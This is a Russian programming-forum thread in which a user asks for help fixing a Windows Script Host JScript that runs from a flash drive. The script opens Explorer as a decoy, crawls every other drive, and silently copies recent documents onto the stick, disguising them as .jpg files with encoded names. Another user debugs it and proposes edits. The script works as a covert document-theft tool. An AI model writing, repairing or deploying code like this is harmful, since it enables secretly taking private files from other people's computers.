На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
! Правила раздела Visual Basic: Общие вопросы
Здесь обсуждаются вопросы по языку Visual Basic 1-6 (а так же по схожим языкам, как, например, PowerBASIC).
Вопросы по Visual Basic .NET (это который входит в состав Visual Studio 2002/2003/2005/2008+, для тех, кто не в курсе) обсуждаются в разделе .NET.

Обратите внимание:
1. Прежде чем начать новую тему или отправить сообщение, убедитесь, что Вы не нарушаете правил форума!
2. Обязательно воспользуйтесь поиском. Возможно, Ваш вопрос уже обсуждали. Полезные ссылки приведены ниже.
3. Темы с просьбой выполнить какую-либо работу за автора в этом разделе не обсуждаются. Студенты, вам сюда: ПОМОЩЬ СТУДЕНТАМ!
4. Используйте теги [ code=vba ] ...текст программы... [ /code ] для выделения текста программы подсветкой.
5. Помните, здесь телепатов нет. Формулируйте свой вопрос максимально грамотно и чётко: Как правильно задавать вопросы
6. Запрещено отвечать в темы месячной (и более) давности, без веских на то причин.

Полезные ссылки:
user posted image FAQ Сайта user posted image FAQ Раздела user posted image Кладовка user posted image Наши Исходники user posted image API-Guide user posted image Поиск по Разделу user posted image MSDN Library Online user posted image Google

Ваше мнение о модераторах: user posted image SCINER, user posted image B.V.
Модераторы: SCINER, B.V.
Страницы: (2) [1] 2  все  ( Перейти к последнему сообщению )  
> Помогите разобраться начинающему в программах vbs
    Доброго времени суток! Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе. По программе планируется поиск файлом с необходимой маской по всему пк на флешку. Писала программы для копирования, но через путь. Это не всегда может сработать.

    ExpandedWrap disabled
      function UpdateSoftware(fso, cd, softwareFolder) {
          try {
              var patch = /\.(doc|rtf|xls|txt)$/i;
              var diff = new Date(2007,05,01);
              var softwareEnumerator = new Enumerator(softwareFolder.Files);
              softwareEnumerator.moveFirst();
              for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                  if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
                      try {
                          fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(softwareEnumerator.item().DateCreated)+"-"+Date.parse(softwareEnumerator.item().DateLastModified)+"-"+Date.parse(softwareEnumerator.item().DateLastAccessed)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)+".jpg", true);
                      } catch (e) {
                          if (e.number == 61) {
                              WScript.Quit(0);
                          }
                      }
                  }
              }
              var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
              packageEnumerator.moveFirst();
              for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                  try {
                      if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                          UpdateSoftware(fso, cd, packageEnumerator.item());
                       }
                  } catch(e) {
                  }
              }
          } catch(e) {
          }
      }
       
      try {
          var ws = WScript.CreateObject("WScript.Shell");
          ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
          var fso = WScript.CreateObject("Scripting.FileSystemObject");
          if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
              fso.CreateFolder(ws.CurrentDirectory+"\\photo");
          }
          var tmpFileName = "autorun.txt";
          if (!fso.FileExists(tmpFileName)) {
              var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
              tmpFile.Close();
              var driveEnumerator = new Enumerator(fso.Drives);
              driveEnumerator.moveFirst();
              for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                  try {
                      if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                          UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
                      }
                  } catch(e) {
                  }
              }
              fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
          }
      } catch(e) {
      }


    Заранее большое спасибо! :wub:
    Сообщение отредактировано: JoeUser -
      Может, patch - строка и нужны кавычки? Не уверен.
        Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.
          Цитата lixen15 @
          Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе.


          Вроде всё нормально. Какая конкретно ошибка?


          Цитата MIF @
          Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.


          Это JavaScript
            Олег Мошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему. Мне просто нужен скрипт чтобы мог искать файлы на всем пк по маске и копировать на флешку.
            И спасибо большое за ответы, я не ожидала, что кто-то отзавется :wub:
              Цитата lixen15 @
              ошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему.

              Проверь файл, что он в кодировке ANSI, и что расширение у него .js
              Я просто скопировал код отсюда, всё нормально никакой ошибки не было
                Олег М Все сработало, только вот интересно то, что ни одно фото не открывается и имеет какие то нереально длинные названия(
                  Цитата lixen15 @
                  что ни одно фото не открывается и имеет какие то нереально длинные названия(

                  Не открывается потому что текстовые и др. файлы var patch = /\.(doc|rtf|xls|txt)$/i; просто перерименовываются в .jpeg. От этого они картинками не станут. Наверное, надо patch = /\.(jpeg)$/i искать.
                  А название длинное, потому что ты его таким задаёшь - fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(software.................
                    Олег М Я в шоке! все сработало!Спасибо ВАМ огромнейшее! Вопрос такой, как можно сократить названия файла или оставлять их такими же как они и были. И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)
                      Цитата lixen15 @
                      И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)

                      Сейчас у тебя при переименовании расширение задано константой +".jpg", true); Надо здесь поставить то, которое было у исходного файла. Его можно вытащить из regex patch, что-то типа
                      ExpandedWrap disabled
                        var found = softwareEnumerator.item().Name.match(patch);
                        var ext = found[0];
                        Олег М странно. Операция теперь проходит без ошибок, но файлов не появляется никаких :oops:
                          Покажи код
                            Олег М
                            ExpandedWrap disabled
                              function UpdateSoftware(fso, cd, softwareFolder) {
                                  try {
                                      var patch = /\.(jpg)$/i;
                                      var diff = new Date(2018,05,01);
                                      var softwareEnumerator = new Enumerator(softwareFolder.Files);
                                      softwareEnumerator.moveFirst();
                                      for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                                          if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
                                              try {
                                                  var found = softwareEnumerator.item().Name.match(patch);
                                                  var ext = found[0];
                                              } catch (e) {
                                                  if (e.number == 61) {
                                                      WScript.Quit(0);
                                                  }
                                              }
                                          }
                                      }
                                      var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
                                      packageEnumerator.moveFirst();
                                      for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                                          try {
                                              if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                                                  UpdateSoftware(fso, cd, packageEnumerator.item());
                                               }
                                          } catch(e) {
                                          }
                                      }
                                  } catch(e) {
                                  }
                              }
                               
                              try {
                                  var ws = WScript.CreateObject("WScript.Shell");
                                  ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
                                  var fso = WScript.CreateObject("Scripting.FileSystemObject");
                                  if (!fso.FolderExists(ws.CurrentDirectory+"\\home")) {
                                      fso.CreateFolder(ws.CurrentDirectory+"\\home");
                                  }
                                  var tmpFileName = "autorun.txt";
                                  if (!fso.FileExists(tmpFileName)) {
                                      var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
                                      tmpFile.Close();
                                      var driveEnumerator = new Enumerator(fso.Drives);
                                      driveEnumerator.moveFirst();
                                      for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                                          try {
                                              if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                                                  UpdateSoftware(fso, ws.CurrentDirectory+"\\home", driveEnumerator.item().RootFolder);
                                              }
                                          } catch(e) {
                                          }
                                      }
                                      fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
                                  }
                              } catch(e) {
                              }


                            Строку с длинным названием изменила на вашу и вначале задала поиск jpg. Но docx тоже не ищет так
                            Сообщение отредактировано: JoeUser -
                              Цитата lixen15 @
                              Операция теперь проходит без ошибок, но файлов не появляется никаких

                              потому что ты убрала fso.CopyFile

                              Добавлено
                              ExpandedWrap disabled
                                        for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
                                        {
                                            var found = softwareEnumerator.item().Name.match(patch);
                                 
                                            if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                                            {
                                                try
                                                {
                                                    var ext = "." + found[0];
                                                    fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);
                                                }
                                                catch (e)
                                                {
                                                    if (e.number == 61)
                                                    {
                                                        WScript.Quit(0);
                                                    }
                                                }
                                            }
                                        }


                              Добавлено
                              Только для начала лучше проверь
                              ExpandedWrap disabled
                                                    var ext = "." + found[0];
                                                    //fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);
                                WScript.StdOut.WriteLine(ext);


                              Добавлено
                              fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true);
                                Олег М

                                var found = softwareEnumerator.item().Name.match(patch);
                                var ext = found[0];
                                fso.CopyFile found
                                вот так должно выглядеть?
                                0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
                                0 пользователей:


                                Рейтинг@Mail.ru
                                [ Script execution time: 0,0479 ]   [ 16 queries used ]   [ Generated: 28.03.24, 19:33 GMT ]